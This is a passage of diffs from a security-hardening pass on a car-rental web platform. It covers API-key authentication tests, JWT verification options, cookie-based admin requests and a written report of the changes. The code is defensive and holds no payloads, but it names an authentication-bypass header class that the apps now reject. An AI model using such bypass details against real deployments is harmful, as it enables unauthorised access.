+- it('attaches company context and calls next for valid API keys', async () => {
+- const company = { id: 'company_1', apiKey: 'valid-key', name: 'Atlas Cars' }
+- vi.mocked(prisma.company.findUnique).mockResolvedValue(company as any)
+- const req = { headers: { 'x-api-key': 'valid-key' } } as unknown as Request
++ it('rejects unknown API key prefixes', async () => {
++ const generated = generateCompanyApiKey()
++ vi.mocked((prisma as any).companyApiKey.findUnique).mockResolvedValue(null)
++ const req = { headers: { 'x-api-key': generated.rawKey } } as unknown as Request
+ const res = createResponseStub()
+ const next = vi.fn() as NextFunction
+
+ await requireApiKey(req, res, next)
+
++ expect((prisma as any).companyApiKey.findUnique).toHaveBeenCalledWith({
++ where: { prefix: generated.prefix },
++ include: { company: true },
++ })
++ expect(res.status).toHaveBeenCalledWith(401)
++ expect(res.json).toHaveBeenCalledWith({
++ error: 'invalid_api_key',
++ message: 'Invalid API key',
++ statusCode: 401,
++ })
++ expect(next).not.toHaveBeenCalled()
++ })
++
++ it('rejects revoked API keys', async () => {
++ const generated = generateCompanyApiKey()
++ vi.mocked((prisma as any).companyApiKey.findUnique).mockResolvedValue({
++ id: 'key_1',
++ companyId: 'company_1',
++ prefix: generated.prefix,
++ keyHash: generated.keyHash,
++ revokedAt: new Date('2026-06-01T00:00:00.000Z'),
++ company: { id: 'company_1', name: 'Atlas Cars' },
++ })
++ const req = { headers: { 'x-api-key': generated.rawKey } } as unknown as Request
++ const res = createResponseStub()
++ const next = vi.fn() as NextFunction
++
++ await requireApiKey(req, res, next)
++
++ expect(res.status).toHaveBeenCalledWith(401)
++ expect(next).not.toHaveBeenCalled()
++ })
++
++ it('rejects API keys whose secret does not match the stored hash', async () => {
++ const generated = generateCompanyApiKey()
++ const other = generateCompanyApiKey()
++ vi.mocked((prisma as any).companyApiKey.findUnique).mockResolvedValue({
++ id: 'key_1',
++ companyId: 'company_1',
++ prefix: generated.prefix,
++ keyHash: other.keyHash,
++ revokedAt: null,
++ company: { id: 'company_1', name: 'Atlas Cars' },
++ })
++ const req = { headers: { 'x-api-key': generated.rawKey } } as unknown as Request
++ const res = createResponseStub()
++ const next = vi.fn() as NextFunction
++
++ await requireApiKey(req, res, next)
++
++ expect(res.status).toHaveBeenCalledWith(401)
++ expect(next).not.toHaveBeenCalled()
++ })
++
++ it('attaches company context, updates lastUsedAt, and calls next for valid API keys', async () => {
++ const generated = generateCompanyApiKey()
++ const company = { id: 'company_1', name: 'Atlas Cars' }
++ vi.mocked((prisma as any).companyApiKey.findUnique).mockResolvedValue({
++ id: 'key_1',
++ companyId: company.id,
++ prefix: generated.prefix,
++ keyHash: generated.keyHash,
++ revokedAt: null,
++ company,
++ })
++ vi.mocked((prisma as any).companyApiKey.update).mockResolvedValue({})
++ const req = { headers: { 'x-api-key': generated.rawKey } } as unknown as Request
++ const res = createResponseStub()
++ const next = vi.fn() as NextFunction
++
++ await requireApiKey(req, res, next)
++
++ expect((prisma as any).companyApiKey.update).toHaveBeenCalledWith({
++ where: { id: 'key_1' },
++ data: { lastUsedAt: expect.any(Date) },
++ })
+ expect(req.company).toEqual(company)
+ expect(req.companyId).toBe('company_1')
+ expect(next).toHaveBeenCalledTimes(1)
+diff -ru '--exclude=node_modules' car_project_original/apps/api/src/middleware/requireApiKey.ts car_project_work/apps/api/src/middleware/requireApiKey.ts
+--- car_project_original/apps/api/src/middleware/requireApiKey.ts 2026-06-09 19:44:15.000000000 +0000
++++ car_project_work/apps/api/src/middleware/requireApiKey.ts 2026-06-09 23:18:30.518795557 +0000
+@@ -21,14 +21,6 @@
+
+ const hashed = hashApiKey(apiKey)
+ if (!keyRecord || keyRecord.revokedAt || !timingSafeEqualHex(hashed, keyRecord.keyHash)) {
+- if (process.env.ALLOW_LEGACY_COMPANY_API_KEYS === 'true') {
+- const company = await prisma.company.findUnique({ where: { apiKey } })
+- if (company) {
+- req.company = company
+- req.companyId = company.id
+- return next()
+- }
+- }
+ return res.status(401).json({ error: 'invalid_api_key', message: 'Invalid API key', statusCode: 401 })
+ }
+
+diff -ru '--exclude=node_modules' car_project_original/apps/api/src/middleware/requireCompanyAuth.test.ts car_project_work/apps/api/src/middleware/requireCompanyAuth.test.ts
+--- car_project_original/apps/api/src/middleware/requireCompanyAuth.test.ts 2026-06-09 20:03:48.000000000 +0000
++++ car_project_work/apps/api/src/middleware/requireCompanyAuth.test.ts 2026-06-09 23:18:50.351586123 +0000
+@@ -63,7 +63,7 @@
+ await requireCompanyAuth(req, res, next)
+
+ expect(res.status).toHaveBeenCalledWith(401)
+- expect(res.json).toHaveBeenCalledWith({ error: 'invalid_token', message: 'Invalid token type for this endpoint', statusCode: 401 })
++ expect(res.json).toHaveBeenCalledWith({ error: 'invalid_token', message: 'Invalid or expired session token', statusCode: 401 })
+ expect(prisma.employee.findUnique).not.toHaveBeenCalled()
+ })
+
+@@ -108,7 +108,11 @@
+
+ await requireCompanyDocumentAuth(req, res, next)
+
+- expect(jwt.verify).toHaveBeenCalledWith('cookie-token', 'test-secret')
++ expect(jwt.verify).toHaveBeenCalledWith('cookie-token', 'test-secret', {
++ algorithms: ['HS256'],
++ issuer: 'rentaldrivego-api',
++ audience: 'employee',
++ })
+ expect(req.companyId).toBe('company_2')
+ expect(next).toHaveBeenCalledTimes(1)
+ })
+diff -ru '--exclude=node_modules' car_project_original/apps/api/src/middleware/requireRenterAuth.test.ts car_project_work/apps/api/src/middleware/requireRenterAuth.test.ts
+--- car_project_original/apps/api/src/middleware/requireRenterAuth.test.ts 2026-06-09 19:40:36.000000000 +0000
++++ car_project_work/apps/api/src/middleware/requireRenterAuth.test.ts 2026-06-09 23:18:50.352660214 +0000
+@@ -49,7 +49,7 @@
+ await requireRenterAuth(req, res, next)
+
+ expect(res.status).toHaveBeenCalledWith(401)
+- expect(res.json).toHaveBeenCalledWith({ error: 'invalid_token', message: 'Invalid token type', statusCode: 401 })
++ expect(res.json).toHaveBeenCalledWith({ error: 'invalid_token', message: 'Invalid or expired token', statusCode: 401 })
+ expect(prisma.renter.findUnique).not.toHaveBeenCalled()
+ })
+
+diff -ru '--exclude=node_modules' car_project_original/apps/api/src/modules/auth/auth.employee.service.ts car_project_work/apps/api/src/modules/auth/auth.employee.service.ts
+--- car_project_original/apps/api/src/modules/auth/auth.employee.service.ts 2026-06-09 19:42:41.000000000 +0000
++++ car_project_work/apps/api/src/modules/auth/auth.employee.service.ts 2026-06-09 23:19:29.323222951 +0000
+@@ -41,13 +41,22 @@
+ pwdv: getEmployeePasswordResetVersion(passwordHash),
+ },
+ process.env.JWT_SECRET!,
+- { expiresIn: `${RESET_TOKEN_TTL_MINUTES}m` },
++ {
++ algorithm: 'HS256',
++ issuer: 'rentaldrivego-api',
++ audience: 'employee_password_reset',
++ expiresIn: `${RESET_TOKEN_TTL_MINUTES}m`,
++ },
+ )
+ }
+
+ function verifyEmployeePasswordResetToken(token: string): EmployeePasswordResetPayload | null {
+ try {
+- const payload = jwt.verify(token, process.env.JWT_SECRET!) as jwt.JwtPayload
++ const payload = jwt.verify(token, process.env.JWT_SECRET!, {
++ algorithms: ['HS256'],
++ issuer: 'rentaldrivego-api',
++ audience: 'employee_password_reset',
++ }) as jwt.JwtPayload
+
+ if (
+ typeof payload.sub !== 'string' ||
+diff -ru '--exclude=node_modules' car_project_original/apps/api/src/security/tokens.ts car_project_work/apps/api/src/security/tokens.ts
+--- car_project_original/apps/api/src/security/tokens.ts 2026-06-09 20:20:10.000000000 +0000
++++ car_project_work/apps/api/src/security/tokens.ts 2026-06-09 23:18:30.519590128 +0000
+@@ -54,3 +54,14 @@
+
+ return payload as ActorTokenPayload
+ }
++
++export function verifyAnyActorToken(token: string): ActorTokenPayload {
++ const decoded = jwt.decode(token) as jwt.JwtPayload | null
++ const actorType = decoded?.type
++
++ if (actorType !== 'admin' && actorType !== 'employee' && actorType !== 'renter') {
++ throw new Error('Invalid actor token')
++ }
++
++ return verifyActorToken(token, actorType)
++}
+diff -ru '--exclude=node_modules' car_project_original/apps/api/src/tests/helpers/fixtures.ts car_project_work/apps/api/src/tests/helpers/fixtures.ts
+--- car_project_original/apps/api/src/tests/helpers/fixtures.ts 2026-06-09 19:40:36.000000000 +0000
++++ car_project_work/apps/api/src/tests/helpers/fixtures.ts 2026-06-09 23:19:11.289635569 +0000
+@@ -1,8 +1,6 @@
+ import bcrypt from 'bcryptjs'
+-import jwt from 'jsonwebtoken'
+ import { prisma } from '../../lib/prisma'
+-
+-const JWT_SECRET = process.env.JWT_SECRET ?? 'test-secret'
++import { signActorToken } from '../../security/tokens'
+
+ let counter = 0
+ function uid() {
+@@ -215,28 +213,16 @@
+ })
+ }
+
+-export function signEmployeeToken(employeeId: string, companyId: string, role: string = 'OWNER') {
+- return jwt.sign(
+- { sub: employeeId, companyId, role, type: 'employee' },
+- JWT_SECRET,
+- { expiresIn: '1h' },
+- )
++export function signEmployeeToken(employeeId: string, _companyId: string, _role: string = 'OWNER') {
++ return signActorToken(employeeId, 'employee', { expiresIn: '1h' })
+ }
+
+ export function signAdminToken(adminId: string) {
+- return jwt.sign(
+- { sub: adminId, type: 'admin' },
+- JWT_SECRET,
+- { expiresIn: '1h' },
+- )
++ return signActorToken(adminId, 'admin', { expiresIn: '1h', last2faAt: Date.now() })
+ }
+
+ export function signRenterToken(renterId: string) {
+- return jwt.sign(
+- { sub: renterId, type: 'renter' },
+- JWT_SECRET,
+- { expiresIn: '1h' },
+- )
++ return signActorToken(renterId, 'renter', { expiresIn: '1h' })
+ }
+
+ export function authHeader(token: string) {
+Only in car_project_work/packages/database/prisma/migrations: 20260609233000_drop_legacy_company_api_key
+diff -ru '--exclude=node_modules' car_project_original/packages/database/prisma/schema.prisma car_project_work/packages/database/prisma/schema.prisma
+--- car_project_original/packages/database/prisma/schema.prisma 2026-06-09 20:18:52.000000000 +0000
++++ car_project_work/packages/database/prisma/schema.prisma 2026-06-09 23:18:30.516362264 +0000
+@@ -502,7 +502,6 @@
+ address Json?
+ status CompanyStatus @default(PENDING)
+ subscriptionPaymentRef String?
+- apiKey String @unique @default(cuid())
+
+ subscription Subscription?
+ billingAccounts BillingAccount[]
+diff -ru '--exclude=node_modules' car_project_original/packages/database/src/index.d.ts car_project_work/packages/database/src/index.d.ts
+--- car_project_original/packages/database/src/index.d.ts 2026-06-09 19:40:36.000000000 +0000
++++ car_project_work/packages/database/src/index.d.ts 2026-06-09 23:18:30.517981475 +0000
+@@ -33,7 +33,6 @@
+ email: string
+ phone: string | null
+ status: string
+- apiKey: string
+ }
+
+ export interface Employee {
+diff -ru '--exclude=node_modules' car_project_original/packages/database/src/index.ts car_project_work/packages/database/src/index.ts
+--- car_project_original/packages/database/src/index.ts 2026-06-09 19:40:36.000000000 +0000
++++ car_project_work/packages/database/src/index.ts 2026-06-09 23:18:30.517228009 +0000
+@@ -33,7 +33,6 @@
+ email: string
+ phone: string | null
+ status: string
+- apiKey: string
+ }
+
+ export interface Employee {
diff --git a/security_hardening_leftover.diff b/security_hardening_leftover.diff
new file mode 100644
index 0000000..9700d00
--- /dev/null
+++ b/security_hardening_leftover.diff
@@ -0,0 +1,1498 @@
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/SECURITY_HARDENING_LEFTOVER_APPLIED_REPORT.md /mnt/data/car_project_leftover/SECURITY_HARDENING_LEFTOVER_APPLIED_REPORT.md
+--- /mnt/data/car_project_leftover_before/SECURITY_HARDENING_LEFTOVER_APPLIED_REPORT.md 1970-01-01 00:00:00.000000000 +0000
++++ /mnt/data/car_project_leftover/SECURITY_HARDENING_LEFTOVER_APPLIED_REPORT.md 2026-06-09 23:36:11.076433808 +0000
+@@ -0,0 +1,255 @@
++# Security Hardening Leftover Application Report
++
++Project: RentalDriveGo / Car Management System
++Input archive: `car_management_system_hardened_applied.zip`
++Output archive: `car_management_system_leftover_applied.zip`
++Date: 2026-06-09
++
++## Executive Summary
++
++This pass applied the remaining source-level hardening gaps that were still practical to implement directly in the repository after the first hardening pass. The focus was on eliminating browser-readable authentication assumptions, enforcing app-layer blocking for the `x-middleware-subrequest` bypass class, improving actor-aware rate limiting, adding an admin 2FA recovery-code workflow, and bringing documentation/static checks into line with the hardened authentication model.
++
++This does not replace production operator work such as real secret rotation, live infrastructure verification, container scanning, applying migrations to a real database, or running the complete CI/test pipeline. Those items remain launch-gate evidence requirements.
++
++## Applied Changes
++
++### 1. Removed remaining browser-side employee token assumptions
++
++Changed files:
++
++- `apps/dashboard/src/lib/api.ts`
++- `apps/dashboard/src/components/layout/TopBar.tsx`
++- `apps/dashboard/src/components/layout/Sidebar.tsx`
++- `apps/dashboard/src/app/(dashboard)/team/page.tsx`
++- `apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx`
++
++What changed:
++
++- Removed dashboard use of employee auth tokens from `localStorage`.
++- Dashboard API calls now use `credentials: 'include'` and depend on HttpOnly cookies.
++- Dashboard Socket.io connection now uses cookie credentials instead of script-provided auth tokens.
++- Team page no longer decodes employee identity from a localStorage JWT. It resolves the current actor through `/auth/employee/me`.
++- Admin 2FA sign-in form now accepts either a six-digit TOTP code or a recovery code value.
++
++Security effect:
++
++- Reduces script-readable authentication exposure.
++- Aligns the dashboard with the intended HttpOnly session-cookie model.
++- Prevents UI code from treating a readable JWT as the authority for employee identity.
++
++### 2. Added Socket.io HttpOnly-cookie session support
++
++Changed file:
++
++- `apps/api/src/index.ts`
++
++What changed:
++
++- Added Socket.io session-token extraction from HttpOnly cookies.
++- Preserved explicit token verification for trusted non-browser/server contexts, while browser clients can now authenticate through cookies.
++- Reused centralized actor-token verification.
++
++Security effect:
++
++- Real-time dashboard connections no longer require JavaScript-readable employee tokens.
++- Socket authentication now follows the same actor-token validation path used elsewhere.
++
++### 3. Added app-layer `x-middleware-subrequest` blocking
++
++Changed files:
++
++- `apps/api/src/app.ts`
++- `apps/dashboard/src/middleware.ts`
++- `apps/marketplace/src/middleware.ts`
++- `apps/admin/src/middleware.ts`
++- `apps/dashboard/src/middleware.test.ts`
++- `apps/marketplace/src/middleware.test.ts`
++
++What changed:
++
++- API now rejects requests containing `x-middleware-subrequest` before route handling.
++- Dashboard, marketplace, and admin Next middleware now reject the same header at the app layer.
++- Added/updated middleware tests for the rejection path.
++
++Security effect:
++
++- Adds defense in depth beyond reverse-proxy filtering.
++- Prevents the project from depending on a single infrastructure control for this bypass class.
++
++### 4. Hardened admin/browser fetch behavior
++
++Changed files include:
++
++- `apps/admin/src/lib/api.ts`
++- `apps/admin/src/app/dashboard/admin-users/page.tsx`
++- `apps/admin/src/app/dashboard/renters/page.tsx`
++- `apps/admin/src/app/dashboard/companies/[id]/page.tsx`
++- `apps/admin/src/app/dashboard/containers/page.tsx`
++- `apps/admin/src/app/dashboard/pricing/page.tsx`
++- `apps/admin/src/app/forgot-password/page.tsx`
++- `apps/admin/src/app/reset-password/page.tsx`
++
++What changed:
++
++- Admin API wrapper uses `credentials: 'include'`.
++- Manual admin fetch calls now include credentials where they directly call the admin API.
++- Removed dead placeholder `getToken()` helpers that returned empty strings and created meaningless `Authorization: Bearer ` headers.
++
++Security effect:
++
++- Admin browser requests now consistently rely on the HttpOnly admin session cookie.
++- Removes misleading bearer-token scaffolding from the admin UI.
++
++### 5. Improved actor-aware rate limiting
++
++Changed files:
++
++- `apps/api/src/middleware/rateLimiter.ts`
++- `apps/api/src/app.ts`
++
++What changed:
++
++- API rate-limit keys now prefer a verified actor identity from session cookies or valid Bearer tokens.
++- Actor-aware rate limiting falls back safely to existing request actor fields or anonymous IP keys.
++- Admin authentication routes now receive the stricter authentication limiter before the broader admin limiter.
++
++Security effect:
++
++- Authenticated traffic is limited by actor identity instead of only coarse IP data.
++- Login and admin-auth abuse get stricter protection.
++- Multi-container correctness still depends on Redis availability/configuration in production, which must be verified during deployment.
++
++### 6. Added admin 2FA recovery-code backend workflow
++
++Changed files:
++
++- `packages/database/prisma/schema.prisma`
++- `packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql`
++- `apps/api/src/modules/admin/admin.repo.ts`
++- `apps/api/src/modules/admin/admin.service.ts`
++- `apps/api/src/modules/admin/admin.schemas.ts`
++- `apps/api/src/modules/admin/admin.routes.ts`
++
++What changed:
++
++- Added `AdminRecoveryCode` model.
++- Recovery codes are stored as bcrypt hashes, not plaintext.
++- TOTP enrollment now issues one-time recovery codes.
++- Recovery-code regeneration is protected by authenticated admin access and fresh 2FA.
++- Login can consume a valid unused recovery code when TOTP is enabled.
++- Recovery-code issuance and use are audited.
++
++Security effect:
++
++- Adds a recovery path for mandatory admin 2FA without storing backup codes in plaintext.
++- Preserves one-time-use semantics.
++- Adds auditability for recovery-code lifecycle events.
++
++Limitation:
++
++- The backend returns recovery codes after enrollment/regeneration. A production-ready admin UI still needs to display them once with clear save instructions and must not persist them client-side.
++
++### 7. Strengthened static scanning for auth-token regressions
++
++Changed file:
++
++- `scripts/security-static-check.mjs`
++
++What changed:
++
++- Static scan now catches common regressions involving auth/session token names in `localStorage` and `document.cookie`.
++- Scan specifically targets auth token/session names such as employee/admin/renter tokens and sessions.
++
++Security effect:
++
++- Makes it harder for future code changes to quietly reintroduce script-readable authentication tokens.
++
++### 8. Updated documentation to match the hardened model
++
++Changed files:
++
++- `apps/dashboard/README.md`
++- `memory/project_auth_architecture.md`
++- `docs/project-design/COOKIE_POLICY.md`
++- `apps/api/src/swagger/openapi.ts`
++
++What changed:
++
++- Replaced stale localStorage/JWT handoff claims with HttpOnly session-cookie wording.
++- Clarified that browser clients use HttpOnly sessions and that Bearer tokens are only for documented trusted server/mobile contexts.
++- Updated cookie policy references from legacy `employee_token` wording to `employee_session`.
++
++Security effect:
++
++- Reduces the odds that a future developer follows stale documentation and reintroduces the old pattern.
++
++## Validation Performed
++
++The following checks were run successfully in the available environment:
++
++```bash
++npm run security:static
++node --check scripts/security-static-check.mjs
++# JSON parse validation for package.json and package-lock.json files
++# YAML parse validation for docker-compose.production.yml and .gitlab-ci.yml
++bash -n docker/entrypoint.production.sh scripts/docker-prod-*.sh scripts/docker-registry-local-up.sh scripts/setup-clerk-keys.sh
++# TypeScript/TSX syntax transpile check over 507 source files
++npm audit --package-lock-only --omit=dev --audit-level=critical
++```
++
++Results:
++
++- Security static check: passed.
++- Static-check script syntax: passed.
++- Package JSON validation: passed.
++- YAML validation: passed.
++- Shell syntax validation: passed.
++- TypeScript/TSX syntax transpile validation: passed.
++- Critical production dependency audit: passed.
++
++Audit note:
++
++- `npm audit --audit-level=critical` exited successfully.
++- Moderate advisories remain for transitive `postcss` and `uuid` paths. The available automatic fixes require breaking/force dependency changes, so they were not applied blindly in this source pass.
++
++## Not Fully Verified in This Environment
++
++The following items require a real development/CI/deployment environment:
++
++- `npm ci` from a clean checkout.
++- Full workspace typecheck.
++- Full unit, integration, security, and e2e test suites.
++- Prisma client generation.
++- Applying the new database migration to a real database.
++- Database backup/restore verification.
++- Docker image build and runtime validation.
++- Container scanning with Trivy or equivalent.
++- Live reverse-proxy validation for `x-middleware-subrequest` blocking.
++- Redis-backed distributed rate-limit validation across multiple API containers.
++- Provider webhook sandbox tests.
++- Live admin 2FA recovery-code UX verification.
++
++## Remaining Launch-Gate Work
++
++These are still not things source edits can prove by themselves:
++
++1. Rotate all real production secrets.
++2. Confirm no real secrets exist in repository history or image layers.
++3. Apply and verify the new `admin_recovery_codes` migration.
++4. Run the full CI gate: lint, typecheck, unit tests, integration tests, security tests, build, dependency audit, secret scan, and container scan.
++5. Confirm Redis and PostgreSQL are private in production.
++6. Confirm DB management tools are not publicly reachable.
++7. Confirm production containers run non-root with reduced capabilities and resource limits.
++8. Confirm webhook signature/idempotency behavior against real provider sandbox payloads.
++9. Confirm private files are inaccessible through static routes in the deployed environment.
++10. Confirm the admin UI displays recovery codes once and instructs admins to save them securely.
++
++## Changed Files
++
++See `security_hardening_leftover_changed_files.txt` for the complete file list and `security_hardening_leftover.diff` for the unified diff.
++
++## Final Assessment
++
++This pass closes a meaningful set of leftover source-level gaps from the security-hardening plan. The project is closer to the intended model: API-enforced security, HttpOnly browser sessions, stronger admin 2FA recovery, app-layer bypass blocking, and less stale documentation.
++
++However, this still should not be treated as production-ready until the remaining launch-gate evidence is collected from CI and the live deployment environment. Security that has not been tested in the actual runtime is mostly optimism with a lanyard.
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/admin-users/page.tsx /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/admin-users/page.tsx
+--- /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/admin-users/page.tsx 2026-06-09 19:47:54.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/admin-users/page.tsx 2026-06-09 23:28:04.035058641 +0000
+@@ -33,13 +33,11 @@
+ const [form, setForm] = useState(EMPTY_FORM)
+ const [saving, setSaving] = useState(false)
+
+- function getToken() { return '' }
+-
+ async function fetchAdmins() {
+ try {
+ const res = await fetch(`${ADMIN_API_BASE}/admin/admins`, {
+- headers: { Authorization: `Bearer ${getToken()}` },
+ cache: 'no-store',
++ credentials: 'include',
+ })
+ const json = await res.json()
+ if (!res.ok) throw new Error(json?.message ?? 'Failed')
+@@ -97,7 +95,8 @@
+
+ const res = await fetch(`${ADMIN_API_BASE}/admin/admins${editingAdminId ? `/${editingAdminId}` : ''}`, {
+ method: isEditing ? 'PATCH' : 'POST',
+- headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${getToken()}` },
++ headers: { 'Content-Type': 'application/json' },
++ credentials: 'include',
+ body: JSON.stringify(payload),
+ })
+ const json = await res.json()
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/companies/[id]/page.tsx /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/companies/[id]/page.tsx
+--- /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/companies/[id]/page.tsx 2026-06-09 19:47:54.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/companies/[id]/page.tsx 2026-06-09 23:28:04.038741293 +0000
+@@ -207,10 +207,6 @@
+ const INPUT_CLASS = 'mt-1 w-full rounded-xl border border-zinc-700 bg-zinc-900 px-3 py-2 text-sm text-zinc-100 outline-none focus:border-emerald-500'
+ const LABEL_CLASS = 'text-xs font-medium uppercase tracking-wide text-zinc-500'
+
+-function getToken() {
+- return ''
+-}
+-
+ function toDateInput(value: string | null | undefined) {
+ return value ? new Date(value).toISOString().slice(0, 10) : ''
+ }
+@@ -324,11 +320,10 @@
+ const [deleteConfirm, setDeleteConfirm] = useState(false)
+
+ async function fetchData() {
+- const headers = { Authorization: `Bearer ${getToken()}` }
+ try {
+ const [cRes, aRes] = await Promise.all([
+- fetch(`${ADMIN_API_BASE}/admin/companies/${id}`, { headers, cache: 'no-store' }),
+- fetch(`${ADMIN_API_BASE}/admin/audit-logs?entityId=${id}&pageSize=10`, { headers, cache: 'no-store' }),
++ fetch(`${ADMIN_API_BASE}/admin/companies/${id}`, { cache: 'no-store', credentials: 'include' }),
++ fetch(`${ADMIN_API_BASE}/admin/audit-logs?entityId=${id}&pageSize=10`, { cache: 'no-store', credentials: 'include' }),
+ ])
+ const cJson = await cRes.json()
+ const aJson = await aRes.json()
+@@ -339,7 +334,7 @@
+
+ const subId = cJson.data?.subscription?.id
+ if (subId) {
+- const eRes = await fetch(`${ADMIN_API_BASE}/admin/subscriptions/${subId}/events`, { headers, cache: 'no-store' })
++ const eRes = await fetch(`${ADMIN_API_BASE}/admin/subscriptions/${subId}/events`, { cache: 'no-store', credentials: 'include' })
+ const eJson = await eRes.json()
+ setSubEvents(Array.isArray(eJson.data) ? eJson.data : [])
+ }
+@@ -365,7 +360,8 @@
+ try {
+ const res = await fetch(`${ADMIN_API_BASE}/admin/companies/${id}`, {
+ method: 'PATCH',
+- headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${getToken()}` },
++ headers: { 'Content-Type': 'application/json' },
++ credentials: 'include',
+ body: JSON.stringify({
+ company: {
+ name: form.company.name,
+@@ -469,7 +465,8 @@
+ try {
+ const res = await fetch(`${ADMIN_API_BASE}/admin/subscriptions/${company.subscription.id}/${action}`, {
+ method: 'POST',
+- headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${getToken()}` },
++ headers: { 'Content-Type': 'application/json' },
++ credentials: 'include',
+ body: JSON.stringify({ reason: subOverrideReason }),
+ })
+ const json = await res.json()
+@@ -490,7 +487,8 @@
+ try {
+ const res = await fetch(`${ADMIN_API_BASE}/admin/companies/${id}/status`, {
+ method: 'PATCH',
+- headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${getToken()}` },
++ headers: { 'Content-Type': 'application/json' },
++ credentials: 'include',
+ body: JSON.stringify({ status }),
+ })
+ const json = await res.json()
+@@ -508,7 +506,7 @@
+ try {
+ const res = await fetch(`${ADMIN_API_BASE}/admin/companies/${id}`, {
+ method: 'DELETE',
+- headers: { Authorization: `Bearer ${getToken()}` },
++ credentials: 'include',
+ })
+ const json = await res.json()
+ if (!res.ok) throw new Error(json?.message ?? 'Delete failed')
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/containers/page.tsx /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/containers/page.tsx
+--- /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/containers/page.tsx 2026-06-09 20:06:04.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/containers/page.tsx 2026-06-09 23:28:07.120677773 +0000
+@@ -56,7 +56,7 @@
+ const fetchLogs = useCallback(async (lines: number) => {
+ setLoading(true)
+ try {
+- const res = await fetch(`${ADMIN_API_BASE}/admin/containers/${companyId}/logs?tail=${lines}`, { headers: authHeaders() })
++ const res = await fetch(`${ADMIN_API_BASE}/admin/containers/${companyId}/logs?tail=${lines}`, { headers: authHeaders(), credentials: 'include' })
+ const json = await res.json()
+ setLogs(json.data?.logs ?? '')
+ } catch {
+@@ -125,7 +125,7 @@
+
+ const fetchContainers = useCallback(async () => {
+ try {
+- const res = await fetch(`${ADMIN_API_BASE}/admin/containers`, { headers: authHeaders() })
++ const res = await fetch(`${ADMIN_API_BASE}/admin/containers`, { headers: authHeaders(), credentials: 'include' })
+ const json = await res.json().catch(() => null)
+ if (!res.ok) {
+ throw new Error(json?.message ?? 'Failed to load containers.')
+@@ -150,7 +150,7 @@
+ setProvisioning(true)
+ setProvisionResults(null)
+ try {
+- const res = await fetch(`${ADMIN_API_BASE}/admin/containers/provision-all`, { method: 'POST', headers: authHeaders() })
++ const res = await fetch(`${ADMIN_API_BASE}/admin/containers/provision-all`, { method: 'POST', headers: authHeaders(), credentials: 'include' })
+ const json = await res.json().catch(() => null)
+ if (!res.ok) throw new Error(json?.message ?? 'Provisioning failed.')
+ setProvisionResults(json.data?.results ?? [])
+@@ -171,7 +171,7 @@
+ action === 'remove'
+ ? `${ADMIN_API_BASE}/admin/containers/${companyId}`
+ : `${ADMIN_API_BASE}/admin/containers/${companyId}/${action}`
+- const res = await fetch(url, { method, headers: authHeaders() })
++ const res = await fetch(url, { method, headers: authHeaders(), credentials: 'include' })
+ const json = await res.json().catch(() => null)
+ if (!res.ok) {
+ throw new Error(json?.message ?? `Failed to ${action} container.`)
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/pricing/page.tsx /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/pricing/page.tsx
+--- /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/pricing/page.tsx 2026-06-09 20:06:04.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/pricing/page.tsx 2026-06-09 23:28:07.124025372 +0000
+@@ -314,7 +314,7 @@
+ const [deleteConfirm, setDeleteConfirm] = useState(null)
+
+ useEffect(() => {
+- fetch(`${ADMIN_API_BASE}/admin/pricing/features`, { headers: authHeaders() })
++ fetch(`${ADMIN_API_BASE}/admin/pricing/features`, { headers: authHeaders(), credentials: 'include' })
+ .then(async (r) => {
+ const json = await r.json()
+ if (!r.ok) throw new Error(json?.message ?? 'Failed to load plan features')
+@@ -376,6 +376,7 @@
+ const res = await fetch(url, {
+ method: isEdit ? 'PATCH' : 'POST',
+ headers: { 'Content-Type': 'application/json', ...authHeaders() },
++ credentials: 'include',
+ body: JSON.stringify(result.payload),
+ })
+ const json = await res.json()
+@@ -712,7 +713,7 @@
+ const [deleteConfirm, setDeleteConfirm] = useState(null)
+
+ useEffect(() => {
+- fetch(`${ADMIN_API_BASE}/admin/pricing/promotions`, { headers: authHeaders() })
++ fetch(`${ADMIN_API_BASE}/admin/pricing/promotions`, { headers: authHeaders(), credentials: 'include' })
+ .then(async (r) => {
+ const json = await r.json()
+ if (!r.ok) throw new Error(json?.message ?? 'Failed to load promotions')
+@@ -795,6 +796,7 @@
+ const res = await fetch(url, {
+ method: isEdit ? 'PATCH' : 'POST',
+ headers: { 'Content-Type': 'application/json', ...authHeaders() },
++ credentials: 'include',
+ body: JSON.stringify(result.payload),
+ })
+ const json = await res.json()
+@@ -816,6 +818,7 @@
+ const res = await fetch(`${ADMIN_API_BASE}/admin/pricing/promotions/${promo.id}`, {
+ method: 'PATCH',
+ headers: { 'Content-Type': 'application/json', ...authHeaders() },
++ credentials: 'include',
+ body: JSON.stringify({ isActive: !promo.isActive }),
